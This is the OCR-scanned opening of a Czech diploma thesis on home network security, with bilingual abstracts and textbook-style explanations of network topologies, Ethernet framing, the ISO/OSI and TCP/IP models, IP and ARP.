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Bezpecnost domaci sité

Home Network Security

Souhrn

Diplomova prace na téma ,,Bezpecnost domaci sité* vysvétluje obecné principy
fungovani LAN siti standardi Ethernet 802.3 a Ethernet 802.11 a snazi se definovat a
analyzovat jejich bezpe€nostni rizika. Blize se pak zamétuje predev§im na ty sitové prvky,
které maji kliCovou roli pifi zabezpeceni téchto siti. U téchto prvkd jsou podrobné
vysvétleny jejich funkce a jejich vliv na zabezpecent sité.

V ¢asti ,,Vlastni prace” jsou pak prakticky testovany nejzavaznéjsi hrozby
domacich siti. Pomoci simulovanych ttokli na vybrané prvky sité se prace snazi ovéfit
teoreticka vychodiska zkoumané problematiky a zaroven nalézt nejefektivnéjsi zplsob, jak
se témto Utoklim branit. U siti standardu Ethernet 802.3 se jedn4 o simulaci napadeni stanic
nejriznéj$im druhem malware a o vybér vhodného antivirového softwaru. V sitich
Ethernet 802.11 pak o odposlech datové komunikace a simulované utoky, které maji za cil
prolomeni dostupnych zabezpeceni WiFi sité.

UCelem diplomové prace je poskytnout komplexni nahled na problematiku
zabezpeceni domacich siti a analyzovat jeji soucCasny stav v naSem regionu. Snazi se také
nalézt odpoveéd’ na otdzku, jak nejefektivnéji domaci LAN sit’ zabezpecCit proti soucasnym
kybernetickym hrozbam. Diplomova prace pak bude ziejmé vyuzitelnd predevSim pro

dalsi akademickeé ucely.

Summary

This diploma thesis on the topic of “Home Network Security” describes and explains
general principles of Ethernet 802.3 and 802.11 LAN networks functioning, and attempts
to define and analyze the security risks to which they are exposed. In particular, it focuses
on those network components which play the key role in protecting these networks. It

further expounds on their detailed functionality and impact on the network’s safety.



The “Main Body” section puts the most severe threats to home networks to practical tests.
By means of simulated attacks on selected network components, the diploma thesis tries to
corroborate the theoretical aspects of the issue in question and simultaneously find the
most efficient way to avoid these attacks. In Ethernet 802.3 networks, this takes the form
of various malware attacks on the workstations and of picking the right antivirus software.
In Ethernet 802.11 networks, on the other hand, the issue is embodied in data
communication eavesdropping and simulated attacks aiming at breaking through the
available WiFi security measures.

The purpose of this diploma thesis is to provide a complex insight into the issue of home
network security and to analyze its current state in our region. It also endeavors to unravel
the answer to the question of how to secure a home LAN network in the most effective and
efficient manner against the contemporary cybernetic threats. Pursuant to the success in
reaching this objective, the diploma thesis may evidently turn out to be useful for other

academic purposes.

Klic¢ova slova: router, switch, malware, sit, zabezpeceni, firewall, protokol, WEP, WPA,

sniffing

Keywords: router, switch, malware, network, security, firewall, protocol, WEP, WPA,

sniffing
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1 Uvod

Uvodem by bylo dobré si definovat nékteré zakladni pojmy z oblasti siti a vysvétlit co
to vlastné¢ pocitacova sit’ je. Jednd se o ,,dva nebo vice pocitaci, které jsou néjakym
zpusobem propojeny a které jsou schopny sdilet informace*!?. V praxi se samoziejmée
Vv siti mohou sdilet i jiné véci, predevSim pak periferie, ¢i zdroje jako jsou diskové
prostory, vypocetni kapacity atd. Ono zminované propojeni, nebo-li ,,spojeni®, je velmi
dalezitym pojmem, ktery definuje a odliSuje skutecnou sit’ od takzvanych sneaker net siti,
kde jsou data pfendSena mezi jednotlivymi pocitaci pomoci vyménného média jako je flash
pamét’ ¢i disketa. Pii vloZeni onoho média do pocitace neexistuje ani ndznak toho, Ze by na
toto medium méla v budoucnu dorazit data z jiného pocitace, neexistuje zde tedy zadné
spojeni. Tento fakt predstavuje oproti skutecnym sitim, kde vzdy existuje urcity druh
adresace slouzici k identifikaci jednotlivych uzli sité, podstatny rozdil. Sit¢ se daji
kategorizovat podle mnoha aspekt a hledisek. Zakladni rozdéleni je ziejmé uz z jejich
fyzické realizace, kdy je sit¢ mozné délit na kabelové (pocitace jsou propojeny uritym
druhem kabelédze jako je UTP, koaxial apod.), nebo bezdratové, kde se k pirenosu dat mezi
pocitaci misto kabeldZe vyuziva nejcastéji principu Sifeni elektromagnetického vinéni
prostorem. Na tomto principu funguje i technologie WiFi (Wireless Ethernet Compatibility
Aliance), ktera bude blize rozebrana v jedné z nasledujicich kapitol. Sité je dale mozno
délit podle pouzité topologie, nebo-li toho, jakym zpusobem jsou jednotlivé prvky sité
fyzicky a logicky uspotfadany a propojeny. Mimo zakladniho propojeni dvou pocitaci, kdy
je K permanentnimu spojeni pouzita nejjednodussi topologie dvoubodového spoje,
sit€. Mezi nejCastéji pouzivané topologie patii kruh (ring), hvézda (star), strom (tree) a

sbérnice (bus). Realizace jednotlivych topologii jsou vyobrazeny na obrazku €. 1.



OLNIP X

Ring Fully Connected

——

Line

Obrazek ¢&. 1:,,NejbéZnéjsi sit'ové topologie“™

[http://cs.wikipedia.org/wiki/Soubor:NetworkTopologies.png]

Dalsim faktorem, podle kterého lze pocitacové sit€¢ délit, je rozsah jejich pokryti.
V této kategorii rozliSujeme sit¢ LAN, WAN, CAN a MAN. Sit¢ LAN (Local Area
Network) maji, jak uZ nazev napovida, lokalni charakter. Vyskytuji se nej€astéji v ramci
mistnosti, podlazi, ¢i jedné budovy. Sit WAN (Wide Area Network) lze chapat jako
velkou pateini sit’ spojujici jednotlivé LAN sité. Dobrym piikladem takovéto sité z praxe je
tfeba internet. Jedna se vlastné o celosvétovou WAN sit’, ktera je sloZena z menSich WAN
siti jednotlivych poskytovateli internetu, nebo-li ISP (Internet Service Provider). Internet
pak spojuje mensi domaci, nebo 1 velké firemni LAN sité po celém svété. Rozlohou mezi
LAN a WAN se pak nachazeji sit¢ CAN (Campus Area Network) a MAN (Metropolitan
Area Network). Ob¢ tyto sit€ spojuji sit€¢ v ramci vice budov, pficemz jejich presny pocet
neni definovan a mize tak snadno dochdzet k jejim zaménam. K lepSimu rozpoznani téchto
siti vychdzejme z toho, ze zatimco u CAN sité v n¢jakém firemnim, ¢i Skolnim arealu je sit’
tvofena ucelen¢ a vétSinou jednotnou technologii, v metropolitnich sitich MAN téchto
technologii nalezneme vétSinou hned nékolik. Je tomu tak predev§im proto, ze MAN sit’ je
poskytovana vétSinou nékolika riznymi poskytovateli ISP. Ty si pak technologii voli

v zavislosti na ekonomickych, geografickych, ¢i jinych faktorech.[2] [1][14]

Jak uZ bylo zminéno vySe, pocitacové sit€ mohou byt realizovany pomoci velkého
mnozstvi technologii. PouZit4d technologie se liSi v zavislosti na rozloze sité a Ucelu, ke

kterému je urena. Ve WAN sitich se kuptikladu rychle prosazuje technologie Frame
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Relay, ktera nahrazuje star$i X.25 nebo sériové linky PPP u nds znamé ptredevsim diky
svému vyuziti v nejroziifendjiim internetovému ptipojeni v CR, tedy v ADSL. V LAN
sitich je dnes masové vyuzivana technologie Ethernet s protokolem TCP/IP, ktera de-facto
uplné vytlacila technologie ostatni. I piesto i dnes miizeme v nékterych velmi specifickych
sitich najit technologie jiné. Piikladem muze byt tieba takzvany Token Ring firmy IBM,
ktery je vyuzivan v nékterych bankovnich sitich.

Domaci sité, jejichz problematikou se tato diplomova prace zabyva, jsou tedy lokalni
sit¢ typu LAN tvotfené zpravidla pomoci technologie Ethernet dle standardu IEEE 802.3
v pripad¢ kabelové a IEEE 802.11 v pifipad¢ bezdratove WiFi sité. LAN sit’ je tvofena
jednotlivymi prvky, nebo-li uzly Jejich konkrétni funkce a vliv na bezpecnost bude

podrobné rozebrana v treti kapitole diplomové prace.

2 Cil prace a metodika

Hlavnim cilem prace je analyza a hodnoceni bezpeCnosti pocitacovych siti s
dirazem na specifika a prostiedi mensi domaci sité. Prace se zamétuje jak na klasickou
kabelovou sit’ typu IEEE 802.3, tak i na bezdratové WiFi sité typu IEEE 802.11. Uéelem
diplomové prace je poskytnout komplexni nahled na problematiku zabezpeceni domacich
siti a analyzovat jeho soucasny stav V nasem regionu. Snazi se také nalézt odpovéd na
otazku, jak nejefektivnéji domaci LAN sit’ zabezpecit proti soucasnym kybernetickym
hrozbam. Diplomova prace pak bude pravdépodobné slouzit piedevSim k dalSimu

akademickému vyuziti.

Diléi cile:

. Studium a tfidéni podkladii k dané problematice.
o Doporuceni vhodnych sitovych prvkl pro domaci sit’ a jejich optimalni nastaveni.
o Predstaveni hlavnich analytickych néastroji pro odhalovani bezpec¢nostnich rizik
V siti.
o Vyhodnoceni ziskanych poznatkll o zabezpeceni sité a diskuse k dané problematice.



Diplomova prace je pfedevsim souhrnem poznatkii cerpanych z uvedené odborné
literatury a ¢lankti zkoumajicich danou tématiku. Do prace jsou déle zahrnuty vysledky
vlastnich méfeni a poznatk ziskanych piedev$im v oblasti bezdratovych siti WiFi a
V oblasti zabezpeceni pocitacovych stanic proti Skodlivému malware. V tvodu jsou obecné
pomoci modeli ISO/OSI a TCP/IP vysvétleny principy a zakonitosti fungovani sité. Déle
je dan prostor k sezndmeni se zékladnimi sitovymi prvky a jejich funkci. Poté jiz nasleduje
rozbor a analyza bezpe€nostnich rizik a faktorli majicich vliv na bezpecnost v siti. ProtoZe
se tyto faktory mtizou pro jednotlivé sité znacné liSit, je predchozi kapitola rozd€lena
zv1ast’ pro kabelové a zvlast pro WiFi sité.

Kapitola ,,Hodnoceni antivirového software* je vénovdna vybéru vhodného
antivirového fteSeni pro stanice v domaci LAN siti. Pfi¢emZz vybrana feSeni jsou
posuzovéana celkem podle péti kritérii. Zvolenymi kritérii jsou pouzitelnost, vybava,
rychlost, hardwarova naro¢nost a spolehlivost. Kazdé kritérium je pro dany software
ohodnoceno bodovaci metodou v rozmezi 0 aZ 10 bodl. Nejlepsi feSeni je pak ziskano
pomoci metody vazené¢ho priméru vSech péti kritérii, kdy nejvétsi duraz je kladen na
spolehlivost a naopak nejmensi na rychlost. Zbyla kritéria maji stejnou vahu.

Druha cast kapitoly ,,Vlastni prace* se zabyva odposlechem datové komunikace na
sitich typu LAN. V dratovych sitich se jedna pfedevSim o odposlech a analyzu pakett
pomoci programu WireShark 1.4.6. V bezdratovych sitich WiFi pak o odposlech
vybraného frekvenéniho rozsahu pomoci programu Commview for WiFi 6.3 a nasledné
simulované pokusy o prolomeni jejich dostupnych zabezpeceni, predevsim pak WEP a
WPA.

Zaveér je pak veénovan predevSim vytyCenym dil¢im cilim prace, jako je
vyhodnoceni ziskanych poznatkii, doporuceni vhodného nastaveni sitovych prvka ci

zavéreéné diskusi.



3 Prehled resené problematiky

Nasledujici kapitola je pfedevs§sim souhrnem poznatka Cerpanych z odborné literatury a

odbornych ¢lankt zabyvajicich se bezpecnosti a fungovanim dratovych i bezdratovych siti.

3.1 Ethernet IEEE 802.3

Ethernet 802.3 je v soucasnosti nejrozsifenéjsim technologickym standardem pro
budovani lokalnich pocitacovych siti (LAN), kam spadaji 1 domaci sité, jejichz
zabezpecenim se diplomova prace zabyva. Standard zacala utvafet zacatkem osmdesatych
let dvacatého stoleti firma Institute of Electrical and Electronics Engineers (IEEE) a je
aktualizovan az do soucasnosti (v bieznu 2012 by méla vyjit zatim posledni specifikace
IEEE 802.3bh). Ethernet definuje pfesnou implementaci fyzické a spojové vrstvy
referen¢niho modelu sitové komunikace ISO/OSI a vrstvu sitového rozhrani v ptipadé
modelu TCP/IP. Jednotlivé modely jsou blize popsany v kapitole 3.1.1 (ISO/OSI),
respektive 3.1.2 (TCP/IP). K pienosu dat je vyuzivano takzvanych ,,ethernetovych ramcu‘
Sitova zafizeni, jako jsou sitové karty koncovych stanic, tak nemusi vibec rozumét
vy$Sim protokolim, jako je kupiikladu v Ethernetu nejpouzivanéjs$i rodina protokola
TCP/IP. Ty jsou totiz pfenaSeny v datové casti ramce podobné jako ostatni data. Pro
uspésnou komunikaci tak postaci pokud ma sitova karta zavedeny ovlada¢ v jadru
operacéniho systému a jiz je pIné schopna posilat a pfijimat ethernetové ramce, nebo-li data.
Vyssi protokoly, jako tomu je v ptipad¢ zminované¢ho TCP/IP, jsou posléze zpracovavany
az V jadre operacniho systému. Ethernet vyuziva sitové topologie typu hvézda, piicemz
v ohnisku hvézdy, ktera propojuje jednotlivé stanice v siti, mize byt zapojen rozbocovac
(hub), nebo piepinac (switch). V soucasné dobé se jiz vyuzivaji zcela vyhradné ptepinace.
Pfepinac, na rozdil od rozbocovace, dokaze rozpoznat obsah ethernetového ramce a urcit,
pro kterou konkrétni stanici v siti jsou piendSend data urcena a posléze je na tuto adresu
odeslat. Oproti rozboCovaéi, ktery pieposila data vSem stanicim vsiti a 0 jejich
relevantnosti nechava rozhodovat az samotnd koncova zatizeni, se tak vyrazné¢ zvétSuje
propustnost i bezpecnost celé sité. Ethernet je definovan hned pro nékolik druhi kabeldze a
koncovek. V minulosti se vyuzivala koaxialni kabelaz a konektory BNC, v soucasnosti je

to nejCastéji kroucena dvojlinka s konektory RJ-45, piipadné opticka vlakna. Pfenosova



rychlost Ethernetu pouzivaného dnes v domacich sitich je 100 nebo 1000 Mbps,
Vv zavislosti na pouzitych sitovych prvcich. Obecné lze fic,i Ze pfenosova rychlost bude
odpovidat rychlosti nejpomalej$iho prvku v siti G¢astniciho se komunikace. [15][16]

Diky pomérné jednoduché a financné nenarocné implementaci se Ethernetu
postupem doby podafilo de facto Gplné vytlacit konkurencni standardy pro LAN sité z trhu.
Jeho konkurenti v tomto segmentu siti byli kuptikladu sité typu ARCNET, ATM a FDDI.

preambule | sk | MAC| MAC 0 deikal| D3R8 |lcresy| Mezera
cile | zdroje vypli mezi ramci

7% oktet 1x oktet 6 46-1500 ||4

10101010 10101011  |okteta |0 OKIetl (20Kt ot [oktety |12 Oktetd

| [ 64-1518 oktetdl [

| 72-1526 oktetit |

Tabulka ¢. 1: Ethernetovy ramec!’®

3.1.1 Referenéni model 1ISO/OSI

Aby bylo mozné spravné analyzovat a vyhodnotit bezpecnostni rizika pocitacové
sité, je nejdiive nutné porozumeét obecnym principim jejiho fungovani. Za timto ucelem
byl organizaci ISO v roce 1984 vytvoten referencni model sit€¢ s ndzvem OSI, ktery byl
pozdéji piijat jako mezinarodni norma ISO 7498. Jedna se o vrstvovy model obecné
popisujici komunikaci v pocitacovych sitich, pficemz jednotlivé vrstvy modelu jsou
vzajemné nezavislé a snadno nahraditelné. Je dalezité¢ si uvédomit, ze model v zddném
piipad€ nefesi samotnou implementaci sitové komunikace, jeho ulohou je poskytnout
normu Vv oblasti propojovani otevienych systému. Popisuje tedy jednotlivé vrstvy sitové
komunikace, jejich sluzby a funkce. Realizace téchto funkci a sluzeb je vSak plné v rezii
konkrétniho pouzitého sitového protokolu a ptislusnych rozhrani.

Model ISO/OSI je sloZzen ze sedmi vrstev, pfiCemz kazda vrstva muize ptredavat
informace pomoci ptislusného rozhrani pouze pfimo sousedicim vrstvam, vyjimkou je
pouze vrstva fyzickd, kde navic dochazi ke komunikaci s druhym systémem (systém
pfijemce informace) a to pomoci pfenosového rozhrani. Mimo informaci nesouci data

rrrrrr

ucelu slouzi tidici spojeni, které je realizovdno pomoci komunikac¢niho protokolu a



zabezpecuje propojeni dvou stejnych vrstev ve dvou odlisnych systémech. Kazda vrstva
systému vykonava specifickou funkci v komunikacnim fetézci a vysledky svého konani
poskytuje nejbliz§Sim sousedicim vrstvam. Pfi komunikaci v modelu OSI plati zakladni
pravidlo o nemoznosti preskakovani jednotlivych vrstev, to znamena, ze informaci si
postupné piedaji vSechny vrstvy modelu. Existuje vSak i vyjimka, kdy nékterd z vrstev
nemusi byt aktivni, neboli je nulova ¢i transparentni, v tomto piipadé se pak pienosu
informace netcastni.

Zacatek komunikace v modelu vznika v aplikaéni vrstvé, kde ur€ity proces pozada
o zprostiedkovani spojeni. Prislusny podsystém pak toto spojeni realizuje vytvofenim
komunika¢niho kandlu mezi aplikacni a prezencni vrstvou. Komunikace v ramci aplika¢ni
vrstvy mezi obéma systémy probiha za pouZiti aplika¢niho protokolu, komunikace v ramci
prezencni vrstvy pak pomoci protokolu prezen¢niho. Vysland informace se déale pifedava
mezi jednotlivymi vrstvami az k vrstvé fyzické, kde za vyuziti prenosového spojeni dojde
K pfenosu informace do druhého systému. V kazdé vrstvé ptitom dochazi k ptipojeni
specifické hlavicky, obsahujici fidici pokyny pro jednotlivé vrstvy v protéjSim systému,
K ptivodni pfedavané informaci. Timto zpusobem dochazi k takzvanému ,,zapouzdiovani*
informace, ktera je pak schopna diky takto nabalenym fidicim informacim zdarné projit
celym paralelnim systémem az k jeho aplikacni vrstvé Cekajici na onu vyslanou informaci.

Konkrétni funkce jednotlivych vrstev modelu jsou popsany nize. [7][17]

Fyzicka vrstva (1)

Prvni vrstvou je vrstva fyzickd (physical layer), jenZ ma za kol definovat fyzicka
spojeni mezi jednotlivymi koncovymi systémy. Toto spojeni pak mize byt mnohodobé, jak
je tomu u siti typu ethernet, ¢i v pfipad¢€ pouziti sériové linky dvoudobé. Dale specifikuje
vlastnosti komunika¢nich kabell, pocet a rozlozeni pinli u jednotlivych adaptér a napéti
na nich. Ze zatizeni pracujicich na této vrstvé mizeme vybrat tieba routery, huby,

repeatery, ¢i sitové adaptéry. [7]
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Fyzicka vrstva poskytuje tyto hlavni funkce:

e Aktivace, udrzovani a deaktivace fyzického spojeni pomoci komunika¢niho média.
, _ . o . oy 2

e Spoluprace na efektivnim rozloZeni viech zdrojii mezi viechny uzivatele.*!

e Modulace a demodulace digitalnich dat na signdly srozumitelné pro pifenosova

média (A/D a D/A prevodniky).

Spojova vrstva (2)

Druha spojova vrstva (link layer) ma za ukol poskytovat komunikaéni spojeni mezi dvéma
navzajem sousedicimi systémy. Dale uspotadava data z fyzické vrstvy a tadi je do

vvvvvv

operace:

e Razeni pfenasenych ramctl.

e Nastavovani parametrii linky ur¢ené k datovému pifenosu.

e Detekce, hldSeni a oprava chyb vzniklych na fyzické vrstve.
e Formatovani fyzickych ramct.

e Piid¢lovani fyzické adresy ramctum a synchronizace s fyzickou vrstvou.

Klasickym ptikladem spojové vrstvy je Ethernet, jehoz prostiednictvim je zajiSténo spojeni
a prenos dat mezi jednotlivymi sitovymi prvky. Na lokalnich sitich zalozenych na IEEE
802 a nekterych sitich jako je FDDI, by tato vrstva méla byt rozdélena na vrstvu fizeni
piistupu k médiu (Medium Access Control, MAC) a vrstvu logického fizeni linek (Logical
Link Control, LLC).*% Mezi sitové prvky pracujici na této vrstvé fadime predeviim

piepinace (switch) a mosty (bridge). [7]

Sit'ova vrstva (3)

Vrstvou ¢islo tii je vrstva sitova (network layer), ktera zajistuje adresaci a spravné
smérovani packetll (jednotek informace pro tuto vrstvu) v siti. Na této vrstvé je jiz
vyuzivana takzvana hierarchicka struktura adres, ktera je v praxi reprezentovana sitovymi

protokoly jako jsou IP (Internet Protocol), ARP (Address Resolution Protocol) a ICMP
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(Internet Control Message Protocol). Sitova vrstva zprostfedkovava spojeni mezi nepiimo
sousedicimi systémy a implementuje funkce, které umoziuji pieklenout diversitu

technologii v komunikacnich sitich. [7]
Nejdulezitéjsi funkce sitové vrstvy jsou:

e Zajisténi pfenosu dat od zdroje k cili a to i pfes vice siti.
e Poskytovani smérovacich funkci.

e HIlaSeni problémi souvisejicich s doru¢ovanim dat.

Mezi sitoveé prvky pracujici na této vrstvé fadime predevsSim routery (smérovace),

které maji za Ukol posilat informace do dalSich siti.

Transportni vrstva (4)

V potadi ¢tvrtou vrstvou je vrstva transportni (transport layer) zajistujici
komunikaci koncovych uzli. Ukolem této vrstvy je vybrat a zajistit potiebnou kvalitu
pienosu dat, jaka je pozadovana vys$Simi vrstvami v modelu. V praxi je Casto transportni
vrstva realizovana protokolem TCP (Transmission Control Protocol) nebo UDP (User

Datagram Protocol). [7]

e TCP — Poskytuje spojové orientovany pienos, ktery také byva oznacovan jako
»spolehlivy* pfenos a je vyuzivan zejména v piipadech, kdy je kladen diraz na
integritu dat, to znamend zajiSténi nulové ztraty packetd. Toho je =zajiSténo
piredevsim pomoci dvou funkci a to funkce Flow control, ktera hlida pfeteCeni
zasobniku a v pfipadé nutnosti pozastavi piijem novych packetii, a funkce
Windowing, kterd verifikuje kazdy n-ty (zédlezi na atributech spojeni) paket jako
pfijaty a pozaduje po druhém uzlu zasldni dalSich ,n“ packeti. Jednotkou
informace na této vrstvé je segment.[zol Jako sluzby citlivé na ztratu packetl lze

uvést napiiklad e-maily, souborové pienosy, ¢i prohlizeni WWW stranek.

o UDP — Poskytuje nespojové orientovany pienos, ktery také byva oznacovan jako

»hespolehlivy* prenos dat a je pouZivan pfedev§im tam, kde je kladen diraz na
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rychlost pfenosu a piipadné zpozdéni (delay), zapficinéné piesnou kontrolou
kazdého packetu, by zpisobovalo nezanedbatelné problémy v chodu aplikace. Mezi
tyto aplikace patii predevsim online multiplayerové hry, streamované audio/video,

vyhledavace soubort v rdmci p2p siti atd.

Relaéni vrstva (5)

Patou vrstvou je pak vrstva rela¢ni (session layer). Ukolem této vrstvy je
organizace a synchronizace dialogu relacnich vrstev obou systémi, které mezi sebou

navzajem spolupracuji. [7]
Hlavnimi sluzbami rela¢ni vrstvy jsou:

e Rizeni vymény dat mezi jednotlivymi relaénimi vrstvami systému.
e Vytvoieni, ukonceni, synchronizace a obnoveni rela¢niho spojeni.

e Hlaseni vyjime¢nych stavi.

Mezi nejznaméjsi protokoly pracujici na této vrstvé patii NetBIOS, SSL,

AppleTalk, ¢i RPC.

Prezentacni vrstva (6)

Piedposledni Sestd vrstva je nazyvana vrstvou prezentacni (presentation layer) a
jejim ukolem je pretransformovat data do takového tvaru, aby byla srozumitelna pro
aplikace, na které jsou cileny. Pfi prichodu jednotlivymi vrstvami jsou totiz data
transformovéna, aby byla srozumitelnd pro tu konkrétni vrstvu, kterou zrovna prochazeji.
Navic samotna datova struktura mize byt v obou systémech, které mezi sebou komunikuji,

zna¢né odlisna. [7]
Hlavnimi funkcemi prezentacni vrstvy tedy jsou:

e Pievody kodu a abeced.
e Modifikace grafického uspofadani.

e Pfizplisobovani potadi bajtii pro jednotlivé datové standardy apod.
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Jako ptiklad zndmého protokolu pracujiciho na této vrstvé mizeme uvést napiiklad
protokol SMB (Server Message Block), ktery slouzi ke sdileni soubort, tiskaren a

sériovych portt. [7]

Aplikacéni vrstva (7)

Posledni sedma vrstva zvana aplika¢ni (application layer) se na rozdil od piedeslé
prezentacni vrstvy nezabyva strukturou dat, ale jejich skuteCnym vyznamem. Aplikacni
vrstva dale poskytuje jednotlivym sitovym aplikacim pfistup do komunikaéniho systému a
umoznuje tak jejich spolupraci. Na této vrstvé pracuji dnes jiz notoricky znamé sluzby a

protokoly jako jsou kupfikladu SSH, FTP, Telnet, DNS, TFTP, ¢i DHCP. [7]

3.1.2 TCP/IP

Nékdy byva na TCP/IP chybné nahlizeno pouze jako na dvojici prenosovych
protokoli spojenych ptfedevSim s komunikaci v sitich Ethernet. Je sice pravda, Ze je
TCP/IP vyuzivané predevsim v tomto druhu siti, ovS§em ve skuteCnosti se jedna o cely
balik protokoli jehoz jsou protokoly TCP (Transmission Control Protocol) a IP (Internet
Protocol) pouze soucasti. Nékteii autofi jako kupiikladu Jifi Peterka jdou jesté dal, kdyz
tvrdi: ,,Spravnéjsi je ale povazovat TCP/IP za ucelenou soustavu nazorti o tom, jak by se
pocitacové sité mély budovat, a jak by mély fungovat.“[lg] Stavi tedy TCP/IP na tGroven
referencniho modelu ISO/ISO, oproti nému je tu vSak hned nékolik dulezitych rozdild.
Prvni vyznamny rozdil je jiz v samotné filozofii obou modeld. ISO/OSI jde cestou
spolehlivého spojovaného pienosu, kdy se do jisté miry zabyva spolehlivosti kazdéa vrstva
modelu a z toho plyne pomérné velka sloZitost pfenosové podsité. Jedna se tedy o
»inteligentni® sit’ s relativné ,.hloupymi“ stanicemi. Naproti tomu TCP/IP razi cestu
relativné ,,hloupé™ sité, ktera se sice snazi pozadované pakety, je-li to jen trochu mozné,
dorucit (takzvana ,,best effort” metoda), ale o spolehlivost a kvalitu se staraji az ,,chytiej$i*

koncové prvky sité (stanice). Diky tomu TCP/IP mlze vyuzit cely rozsah své pirenosové
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kapacity pouze na ptenos dat. Ve vysledku se tak oproti ISO/OSI jednad o jednodussi a
rychlejsi sitovy model, ale s vét§imi ndroky na koncové prvky sité. Druhym dualezitym
rozdilem, ktery je nazorn¢ zobrazen na obrazku ¢. 2, je fakt ze TCP/IP pocita pouze se

Ctyfmi sitovymi vrstvami oproti ISO/OSI jenz ma vrstev sedm.[18][19][5]

TCP /1P [S0/0SI

Aplika¢ni vrstva

Prezentacni vrstva

Relac¢ni vrstva

Transportni vrstva

Sitovra vrstva

Linkova vrstva

Fyzickd vrstva

Obrazek &. 2: Porovnani architektury modeli TCP/IP a ISO/OSI™
[http://www.earchiv.cz/a92/gifs/p231c111.gif]

Nelze ptfitom jednozna¢né fici, Ze by u TCP/IP doslo piimo k ubytku vrstev. SpiSe
nékteré vrstvy piebiraji Ulohy, které ma v ISO/OSI na starosti vrstev hned né&kolik.
Piikladem muze byt Aplikaéni vrstva TCP/IP, ktera plni Glohu hned tfi vrstev z modelu
ISO/OSI a to vrstvy Aplikaéni, Prezencni 1 Relacni. Jednotlivé sitové vrstvy TCP/IP jsou

podrobné vysvétleny v nasledujicim textu. [18][19]
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Vrstva sitového rozhrani (1)

Vv

prenosovému médiu, nebo-li ma na starosti pfijem a vysilani datovych pakett v siti.
Jelikoz je zavisla na pouzité implementaci sité (Ethernet, Token ring, FDDI, X.25, SMDS),
neni v modelu TCP/IP tato vrstva nijak blize specifikovana. V piipad¢ sitového adaptéru

je vrstva sitového rozhrani tvofena jeho ptislusnym ovladacem (driverem). [18][19]

Sit'ova vrstva (2)

Funkce sitové vrstvy v modelu TCP/IP je de facto stejnd jako v modelu ISO/OSI, jeji
primarni funkci je zajistit sitovou adresaci, smérovani a predavani datagramt. Ve zkratce
se da tici, ze se stara o to, aby se data dostala od odesilatele k ptijemci. Vrstva je nejcastéji
realizovana pomoci protokolu IP, mohou vSak byt pouzity i nekteré dalsi jako jsou ARP,
RARP, ICMP, IGMP, IGRP nebo IPSEC. Vrstva je implementovana do vSech sitovych

prvki, nevyjimaje smérovace i koncova zafizeni. [18][19]

Transportni vrstva (3)

Transportni vrstva zajistuje pienos mezi dvéma koncovymi ucastniky komunikace.
Je proto implementovéana az v koncovych zafizenich. Koncovymi tc¢astniky jsou v tomto
piipadé programy, podle jejichz pozadavkl piizptisobuje transportni vrstva chovani sité.
Muize poskytovat spojované (spolehlivé) transportni sluzby, realizované protokolem TCP a
nebo nespojované (nespolehlivé, ale rychlej§i nez spojované) transportni sluzby,

realizované protokolem UDP. [18][19]

Aplikacni vrstva (4)

Posledni, nejvyssi vrstvou je aplikaéni vrstva, Jedna se aplikacni programy, které vyuzivaji
prenosu dat po siti ke konkrétnim sluzbam pro uzivatele. Piikladem takovych aplikaci
mohou byt tieba Telnet, FTP, HTTP, DHCP nebo DNS. Rozdilem oproti modelu ISO/OSI
je pak fakt, Ze tyto aplikace komunikuji pfimo s transportni vrstvou, piipadné prezentacni a
relaéni sluzby, které v modelu ISO/OSI zajist'uji samostatné vrstvy, si zde musi jednotlivé

aplikace v pfipad¢ potieby realizovat samy. [18]
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Ttetim dalezitym rozdilem mezi TCP/IP a ISO/OSI je fakt, ze zatimco druhy
zminovany model je ¢isté¢ obecny a samotnou implementaci protokold nikterak netesi,
TCP/IP tyto komunika¢ni protokoly, které urcuji syntaxi a vyznam jednotlivych zprav pti
komunikaci, m jiz jasné definované.'! Nejpodstatngjsi komunika&ni protokoly z rodiny

TCP/IP jsou pak tyto:

P

Jedna se o zakladni protokol sitové vrstvy. Dikazem jeho masového vyuziti je i
nejveétsi celosvétova sit’ internet, ktera je na tomto protokolu postavend. IP (Internet
Protocol) slouzi v siti k smérovani datagramti (paketll) ze zdrojového sitového prvku do
cilového. Tento pienos pfitom mtize byt realizovan pies jednu, ale i vice IP siti. Paket je
zakladni nosi¢ informace v siti a je slozen z fidicich dat, nebo-li metadat a z ¢asti nesouci
uzivatelskd data. Datagram je tedy samostatnd datova jednotka, ktera obsahuje vSechny
dalezité¢ informace potiebné k svému doruceni, konkrétn¢ obsahuje data o odesilateli,
adresatovi, pofadovém cisle datagramu a kody pro detekci chyb, takzvané kontrolni soucty.
IP protokol v zakladu pro dorucovani datagramt poskytuje nespojové orientovanou, tedy
nespolehlivou sluzbu. Sluzba byva Casto také oznaCovana jako best effort (nejveétsi sili).
V praxi to znamena, ze vSechny sitové uzly na trase se datagram snazi podle svych
nejlepSich moznosti pfiblizit k cili, ale pfitom nemohou zarucit jeho doruceni ani
piipadnou napravu chyby. Pfi dorucovani datagramu miize nastat hned nékolik situaci:
nemusi dorazit viibec, data mohou dorazit v jiném pofadi, nez byla vyslana, nebo mize
jeden stejny datagram dorazit i nékolikrat. Pipadny spolehlivy pfenos je feSen az pomoci

transportni vrstvy a protokolu TCP. [22][5]

verzi jsou pouzivané 32 bitové adresy, to znamena, ze pomoci IPv4 Ize adresovat ptiblizné
4 miliardy sitovych prvki. To je v dnesni dobé pro potteby internetu jiz nedostacujici
mnozstvi a tak se problém fesi pomoci riznych podsiti (subnetl), které maji vlastni LAN

IP adresy. Kone¢né feseni by mélo ptijit po piechodu na novou verzi protokolu IPv6. Ten
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pouziva 128 bitové adresy, lze tak ziskat az 3.4x10°® unikatnich adres. IPv6 pfinasi i
néktera dalsi vylepseni a sluzby jako je podpora zajisténi rovné sluzeb (QoS - Quality of
Service), vétsi zabezpeceni, snadnéjs$i automaticka konfigurace nebo fragmentace pakett.

[2][23]

ARP

ARP (Address Resolution Protocol) je jednim z protokoli sitové vrstvy a jeho
vyuziti spociva predevsim pti vyhledavani fyzické MAC adresy, kdyz je znama IP adresa
piislusného sitového prvku. Protokol pracuje na principu, kdy v ptipadé potieby vysle
datagram s informaci o IP adrese, kterou hleda a adresuje ho vSem prvkim pfitomnym v
siti. Prvek s hledanou IP adresou pak odpovi diagramem, kde je jiz vyplnénd jeho fyzicka
MAC adresa. Pokud se hledany uzel nachazi v jiném segmentu, odpovi svou adresou
ptislusny smérova¢. Opa¢nym protokolem k ARP je protokol RARP (Reverse Address
